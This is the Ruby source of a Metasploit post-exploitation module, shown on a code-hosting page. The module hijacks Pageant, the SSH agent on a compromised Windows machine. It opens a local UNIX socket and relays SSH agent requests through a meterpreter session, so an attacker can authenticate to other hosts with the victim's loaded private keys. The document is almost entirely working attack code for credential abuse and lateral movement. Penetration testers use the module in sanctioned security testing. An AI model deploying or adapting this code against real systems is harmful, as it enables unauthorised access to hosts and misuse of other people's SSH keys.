Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/post/windows/manage/forward_pageant.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'tmpdir'67class MetasploitModule < Msf::Post8include Msf::Post::Windows::ExtAPI9include Msf::Post::Windows::Priv1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'Forward SSH Agent Requests To Remote Pageant',16'Description' => %q{17This module forwards SSH agent requests from a local socket to a remote Pageant instance.18If a target Windows machine is compromised and is running Pageant, this will allow the19attacker to run normal OpenSSH commands (e.g. ssh-add -l) against the Pageant host which are20tunneled through the meterpreter session. This could therefore be used to authenticate21with a remote host using a private key which is loaded into a remote user's Pageant instance,22without ever having knowledge of the private key itself.2324Note that this requires the PageantJacker meterpreter extension, but this will be automatically25loaded into the remote meterpreter session by this module if it is not already loaded.26},27'License' => MSF_LICENSE,28'Author' => [29'Stuart Morgan <stuart.morgan[at]mwrinfosecurity.com>',30'Ben Campbell', # A HUGE amount of support in this :-)31],32'Platform' => [ 'win' ],33'SessionTypes' => [ 'meterpreter' ],34'Notes' => {35'Stability' => [CRASH_SAFE],36'Reliability' => [],37'SideEffects' => []38},39'Compat' => {40'Meterpreter' => {41'Commands' => %w[42extapi_pageant_send_query43]44}45}46)47)48register_options([49OptString.new('SocketPath', [false, 'Specify a filename for the local UNIX socket.', nil])50])51end5253def sockpath54@sockpath ||= "#{Dir.tmpdir}/#{Rex::Text.rand_text_alphanumeric(8)}"55end5657def run58# Check to ensure that UNIX sockets are supported59begin60::UNIXServer61rescue NameError62fail_with(Failure::BadConfig, 'This module is only supported on a Metasploit installation that supports UNIX sockets.')63end6465unless session.commands.include?(Rex::Post::Meterpreter::Extensions::Extapi::COMMAND_ID_EXTAPI_PAGEANT_SEND_QUERY)66fail_with(Failure::BadConfig, 'Session does not support Meterpreter ExtAPI Pageant queries')67end6869# Get the socket path from the user supplied options (or leave it blank to get the plugin to choose one)70if datastore['SocketPath']71# Quit if the file exists, so that we don't accidentally overwrite something important on the host system72if ::File.exist?(datastore['SocketPath'].to_s)73fail_with(Failure::BadConfig, "Socket (#{datastore['SocketPath']}) already exists. Remove it or choose another path and try again.")74end75@sockpath = datastore['SocketPath'].to_s76end7778# Open the socket and start listening on it. Essentially now forward traffic between us and the remote Pageant instance.79::UNIXServer.open(sockpath) do |serv|80File.chmod(0o0700, sockpath)8182print_status("Launched listening socket on #{sockpath}")83print_status("Set SSH_AUTH_SOCK variable to #{sockpath} (e.g. export SSH_AUTH_SOCK=\"#{sockpath}\")")84print_status('Now use any SSH tool normally (e.g. ssh-add)')8586while (s = serv.accept)87begin88while (socket_request_data = s.recvfrom(8192)) # 8192 = AGENT_MAX89break if socket_request_data.nil?9091data = socket_request_data.first9293break if data.nil? || data.empty?9495vprint_status("PageantJacker: Received data from socket (size: #{data.size})")9697response = session.extapi.pageant.forward(data, data.size)9899unless response[:success]100print_error("PageantJacker: Unsuccessful response received (#{translate_error(response[:error])})")101next102end103104vprint_status("PageantJacker: Response received (Success='#{response[:success]}' Size='#{response[:blob].size}' Error='#{translate_error(response[:error])}')")105106begin107s.send(response[:blob], 0)108rescue StandardError109break110end111end112rescue Errno::ECONNRESET113vprint_status('PageantJacker: Received reset from client, ignoring.')114end115end116end117end118119def cleanup120return unless @sockpath121122# Remove the socket that we created, if it still exists123::File.delete(@sockpath) if ::File.exist?(@sockpath)124ensure125super126end127128def translate_error(errnum)129errstring = "#{errnum}: "130case errnum131when 0132errstring + 'No error'133when 1134errstring + 'The Pageant request was not processed.'135when 2136errstring + 'Unable to obtain IPC memory address.'137when 3138errstring + 'Unable to allocate memory for Pageant<-->Meterpreter IPC.'139when 4140errstring + 'Unable to allocate memory buffer.'141when 5142errstring + 'Unable to build Pageant request string.'143when 6144errstring + 'Pageant not found.'145when 7146errstring + 'Not forwarded.'147else148errstring + 'Unknown.'149end150end151end152153154